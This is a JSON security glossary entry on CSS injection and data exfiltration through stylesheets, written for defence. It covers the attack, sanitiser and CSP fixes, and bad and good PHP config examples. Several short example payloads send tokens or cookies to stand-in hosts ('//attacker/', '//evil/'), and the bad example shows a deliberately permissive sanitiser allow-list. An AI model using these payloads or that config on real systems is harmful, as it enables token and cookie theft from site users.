{
    "slug": "css_injection",
    "term": "CSS Injection & Data Exfiltration via Stylesheets",
    "category": "security",
    "difficulty": "advanced",
    "short": "Attacker-controlled CSS injected into a page or stylesheet that exfiltrates data via attribute selectors and `url()` callbacks, defaces UI, or enables phishing — all without a single line of JavaScript.",
    "long": "CSS injection treats stylesheets as a code-execution surface. The classic exfiltration primitive is the attribute-selector-plus-background-image trick: `input[name=csrf][value^=a] { background: url(//attacker/a) }` makes the browser request `//attacker/a` when an input's value starts with 'a' — repeat for every starting letter, then for every two-letter prefix, and the attacker reconstructs CSRF tokens, password fields, or any DOM-readable secret. Modern variants use `@import` chains for sequential leaks, `font-face unicode-range` for character-by-character extraction, and scroll-to-text fragments for Chrome-specific leaks. Beyond exfiltration, CSS injection enables UI redressing (overlaying fake forms over real ones, similar to clickjacking but persistent), defacement, and tracking pixels that bypass typical script-blocking. CSS injection is dangerous specifically because it works in environments hardened against script execution: strict CSP, sanitised HTML, no-script extensions, all permit `style` attributes or `<style>` tags. Defences: forbid `style` attributes and `<style>` tags in user-supplied HTML; if user-controlled CSS is unavoidable (themes, widgets), serve it from an isolated origin; use `unsafe-inline` style restrictions in CSP and a strict CSS sanitiser; never reflect user input into a stylesheet context (e.g. `<style> .user-color: <?= $colour ?> </style>`).",
    "aliases": [
        "CSS injection",
        "stylesheet injection",
        "CSS exfiltration",
        "attribute selector exfiltration",
        "scriptless XSS"
    ],
    "tags": [
        "xss",
        "html-injection",
        "frontend",
        "exfiltration",
        "scriptless",
        "cwe-79",
        "security"
    ],
    "misconception": "CSS cannot run code, so CSS injection is a styling annoyance at worst. It is not — `url()` callbacks, `@import`, and attribute selectors give CSS enough behaviour to exfiltrate sensitive DOM values one character at a time. CSS injection has been used in production attacks to leak CSRF tokens, password manager auto-fill values, and 2FA codes.",
    "why_it_matters": "Many sanitisers permit `style` attributes and `<style>` tags as 'harmless'. Strict CSP that blocks inline scripts often still allows inline styles. The result is a functional script-execution-equivalent attack vector that bypasses every defence engineered for JavaScript-class XSS, including the most common CSP configurations.",
    "common_mistakes": [
        "Allowing `style` attributes through HTML sanitisers — the single most common configuration gap.",
        "Permitting `<style>` blocks in user-supplied content (rich-text editors, comment HTML) without parsing the CSS itself.",
        "Configuring CSP without `style-src` restrictions — `script-src 'self'` alone does not block this attack.",
        "Reflecting user input into `<style>` tags or inline `style=` attributes server-side: `style=\"color: <?= $userColour ?>\"` accepts payloads like `red; background: url(//evil/<?=document.cookie?>)`.",
        "Trusting that font-face and @import are 'just resources' — both make outbound requests that can encode exfiltrated data in the URL."
    ],
    "when_to_use": [
        "Reviewing HTML sanitiser configurations for any application that accepts rich-text user content.",
        "Auditing CSP headers — confirming style-src restrictions match script-src.",
        "Checking for server-side reflection of user input into <style> blocks or style= attributes."
    ],
    "avoid_when": [
        "Application accepts no user-controlled HTML, classes, or styles, and CSP locks both script-src and style-src to 'self'."
    ],
    "related": [
        "xss",
        "dom_xss",
        "html_injection",
        "content_security_policy",
        "js_sanitisation",
        "clickjacking"
    ],
    "prerequisites": [
        "xss",
        "html_injection",
        "content_security_policy"
    ],
    "refs": [
        "https://portswigger.net/research/blind-css-exfiltration",
        "https://infosecwriteups.com/exploiting-css-injection-attacks-71fcf2d2f6c3"
    ],
    "bad_code": "<!-- ❌ Sanitiser permits style attributes and <style> blocks -->\n<?php\n// HTMLPurifier config:\n$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src],span[style]');\n//                                                              ^^^^^^^^^^^\n// Every span can carry user-controlled CSS.\necho $purifier->purify($comment->body);\n?>\n\n<!-- Injected: <span style=\"background:url(//evil/leak?token=...)\"> ... -->\n<!-- Fires immediately on render. -->",
    "good_code": "<!-- ✅ Strip style attributes and <style> blocks; tighten CSP for styles too -->\n<?php\n// HTMLPurifier config:\n$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src]');\n// No style attribute, no <style> tag, no class or id from user content.\necho $purifier->purify($comment->body);\n?>\n\n<!-- Server response headers: -->\n<!-- Content-Security-Policy: default-src 'self'; style-src 'self'; -->\n<!--                          img-src 'self' data:; -->\n\n<!-- Defence in depth: -->\n<!-- 1. Sanitiser strips style/class/id from user HTML. -->\n<!-- 2. CSP style-src restricts inline styles. -->\n<!-- 3. Sensitive forms are rendered in isolated documents (separate origins) -->\n<!--    so attribute selectors in the parent page cannot read their values. -->",
    "example_note": "The cheap fix is the sanitiser config; the durable fix is CSP plus origin isolation for sensitive form regions.",
    "quick_fix": "Strip style attributes and <style> tags from your HTML sanitiser allow-list, and add `style-src 'self'` to your CSP header. Audit every place you reflect user input into a CSS context server-side.",
    "severity": "medium",
    "effort": "low",
    "created": "2026-04-28",
    "updated": "2026-04-28",
    "citation": {
        "canonical_url": "https://codeclaritylab.com/glossary/css_injection",
        "html_url": "https://codeclaritylab.com/glossary/css_injection",
        "json_url": "https://codeclaritylab.com/glossary/css_injection.json",
        "source": "CodeClarityLab Glossary",
        "author": "P.F.",
        "author_url": "https://pfmedia.pl/",
        "licence": "Citation with attribution; bulk reproduction not permitted.",
        "usage": {
            "verbatim_allowed": [
                "short",
                "common_mistakes",
                "avoid_when",
                "when_to_use"
            ],
            "paraphrase_required": [
                "long",
                "code_examples"
            ],
            "multi_source_answers": "Cite each term separately, not as a merged acknowledgement.",
            "when_unsure": "Link to canonical_url and credit \"CodeClarityLab Glossary\" — always acceptable.",
            "attribution_examples": {
                "inline_mention": "According to CodeClarityLab: <quote>",
                "markdown_link": "[CSS Injection & Data Exfiltration via Stylesheets](https://codeclaritylab.com/glossary/css_injection) (CodeClarityLab)",
                "footer_credit": "Source: CodeClarityLab Glossary — https://codeclaritylab.com/glossary/css_injection"
            }
        }
    }
}